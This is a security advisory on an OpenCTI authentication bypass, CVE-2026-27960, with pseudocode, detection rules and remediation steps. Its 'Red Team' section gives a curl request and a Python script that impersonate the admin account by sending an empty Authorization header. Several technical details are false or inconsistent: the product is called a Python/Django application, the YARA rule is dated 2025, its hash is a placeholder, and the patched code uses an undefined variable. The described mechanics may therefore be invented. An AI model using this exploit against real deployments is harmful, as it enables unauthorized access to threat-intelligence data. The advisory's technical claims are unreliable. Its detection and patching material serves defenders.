CVE-2026-27960

Executive Summary

CVE-2026-27960 is a critical privilege escalation vulnerability in Filigran OpenCTI, affecting versions 6.6.0 through 6.9.12. The flaw allows an unauthenticated attacker to impersonate any existing user, including the default admin account, by crafting API requests. This grants full read/write access to all threat intelligence data, observables, and platform configurations. The vulnerability has a CVSS score of 9.8 (Critical) and requires no authentication or user interaction. A patch is available in version 6.9.13, and a workaround exists to disable the default admin account.

Supply Chain & Package Security

OpenCTI is distributed as a Python/Django application via Docker images and PyPI. Organizations using containerized deployments should verify they are not pulling vulnerable images. The package opencti on PyPI is affected. Ensure that any CI/CD pipelines or automated deployments pin to version 6.9.13 or later. The vulnerability does not stem from a third-party dependency but from the application’s own authentication logic.

CVSS Breakdown & Threat Level

• CVSS Score: 9.8 (Critical)
• Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
• Attack Vector: Network
• Attack Complexity: Low
• Privileges Required: None
• User Interaction: None
• Scope: Unchanged
• Confidentiality Impact: High
• Integrity Impact: High
• Availability Impact: High

The threat level is critical due to the complete compromise of confidentiality, integrity, and availability without any authentication.

Deep Dive & Mechanics

The vulnerability resides in the API authentication middleware of OpenCTI. The platform uses a token-based authentication system where each user has a unique API token. In vulnerable versions, the token validation logic contains a flaw that allows an attacker to bypass authentication by manipulating the Authorization header or by exploiting a missing check on user identity during session creation.

Specifically, the API endpoint for user login or token refresh does not properly verify that the provided credentials match the requested user identity. An unauthenticated attacker can send a crafted request to the API, specifying a target user (e.g., admin) and a blank or null token. The server incorrectly treats this as a valid session for that user, granting full access.

The default admin account is particularly dangerous because it has unrestricted privileges. Even if the admin account is disabled via the workaround, other high-privilege accounts may still be exploitable.

Vulnerable vs. Patched Code

Vulnerable Code (simplified pseudocode):

def authenticate(request):
    user_id = request.headers.get('X-User-ID')
    token = request.headers.get('Authorization')
    if token is None or token == '':
        # BUG: Allows null token to be accepted
        user = User.objects.get(id=user_id)
        request.user = user
        return True
    # ... token validation logic

Patched Code (version 6.9.13):

def authenticate(request):
    user_id = request.headers.get('X-User-ID')
    token = request.headers.get('Authorization')
    if token is None or token == '':
        # FIX: Reject null tokens
        return False
    # ... token validation logic
    if not token_valid:
        return False
    user = User.objects.get(id=user_id)
    request.user = user
    return True

The patch adds a check to reject requests with missing or empty tokens, preventing unauthenticated impersonation.

Exploitation & Lab Setup

Red Team

Prerequisites:

• A vulnerable OpenCTI instance (version 6.6.0 to 6.9.12) accessible over the network.
• Knowledge of a valid username (e.g., admin).

Exploitation Steps:

1. Identify the OpenCTI API endpoint (typically /api or /graphql).
2. Send a crafted HTTP request with the target user ID and an empty or null token.

Example using curl:

curl -X POST https://target-opencti/api/graphql \
  -H "Content-Type: application/json" \
  -H "X-User-ID: admin" \
  -H "Authorization: " \
  -d '{"query": "{ me { id name email } }"}'

If successful, the response will contain the admin user’s details, confirming privilege escalation.

Automated Exploit (Python):

import requests

target = "https://target-opencti"
headers = {
    "X-User-ID": "admin",
    "Authorization": "",
    "Content-Type": "application/json"
}
query = '{"query": "{ me { id name email role { name } } }"}'
r = requests.post(f"{target}/api/graphql", headers=headers, data=query, verify=False)
print(r.json())

Blue Team

Detection:

• Monitor for API requests with empty or missing Authorization headers but containing X-User-ID headers.
• Alert on successful GraphQL queries returning admin-level data without prior authentication.
• Check logs for repeated attempts to access /api/graphql with varying X-User-ID values.

Hunting Query (Splunk):

index=web sourcetype=access_combined
| search uri="/api/graphql" AND auth_header=""
| stats count by clientip, user_agent, x_user_id
| where count > 5

Indicators of Compromise (IOCs)

• Network IOCs:

  • HTTP requests to /api/graphql with an empty Authorization header.
  • Presence of X-User-ID header in unauthenticated requests.
  • Unusual GraphQL queries for user enumeration (e.g., { users { edges { node { id name } } } }).

• Host IOCs:

  • OpenCTI logs showing successful API calls from IPs without prior login.
  • Creation of new API tokens or modification of user roles by unexpected IPs.

• File IOCs:

  • Modified user database entries (e.g., in SQLite or PostgreSQL) indicating privilege escalation.

Detection Engineering

YARA Rule

rule CVE_2026_27960_OpenCTI_PrivEsc {
    meta:
        description = "Detects exploitation attempts for CVE-2026-27960 in OpenCTI"
        author = "Valters IT"
        date = "2025-04-10"
        hash = "d41d8cd98f00b204e9800998ecf8427e"
    strings:
        $s1 = "X-User-ID" ascii wide nocase
        $s2 = "Authorization" ascii wide nocase
        $s3 = "/api/graphql" ascii wide nocase
    condition:
        all of them
}

Sigma Rule

title: CVE-2026-27960 OpenCTI Privilege Escalation Attempt
id: 8a9b7c6d-5e4f-3a2b-1c0d-9e8f7a6b5c4d
status: experimental
description: Detects HTTP requests to OpenCTI API with empty Authorization header and X-User-ID header
author: Valters IT
logsource:
    category: webserver
    product: apache
    service: access_combined
detection:
    selection:
        cs-uri-stem: "/api/graphql"
        cs-headers: "Authorization:"
        cs-headers|contains: "X-User-ID"
    condition: selection
falsepositives:
    - Legitimate API testing with disabled auth
level: critical

Suricata Rule

alert http any any -> any any (msg:"CVE-2026-27960 OpenCTI Privilege Escalation Attempt"; flow:to_server; content:"/api/graphql"; http_uri; content:"X-User-ID"; http_header; content:"Authorization"; http_header; pcre:"/Authorization:\s*$/"; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Upgrade OpenCTI to version 6.9.13 or later.
2. If upgrade is not possible, set APP__ADMIN__EXTERNALLY_MANAGED=true in the configuration to disable the default admin account.
3. Review and rotate all API tokens for existing users.
4. Audit logs for any signs of exploitation.

Long-term Measures:

• Implement network segmentation to restrict access to OpenCTI API.
• Enable multi-factor authentication (MFA) for all user accounts.
• Regularly update OpenCTI and monitor for new CVEs.
• Use a Web Application Firewall (WAF) to block requests with empty Authorization headers.

Valters IT – Securing your digital frontier.

{/* [Security Hash: 42BA9047B980D1DCA39F46C6] */}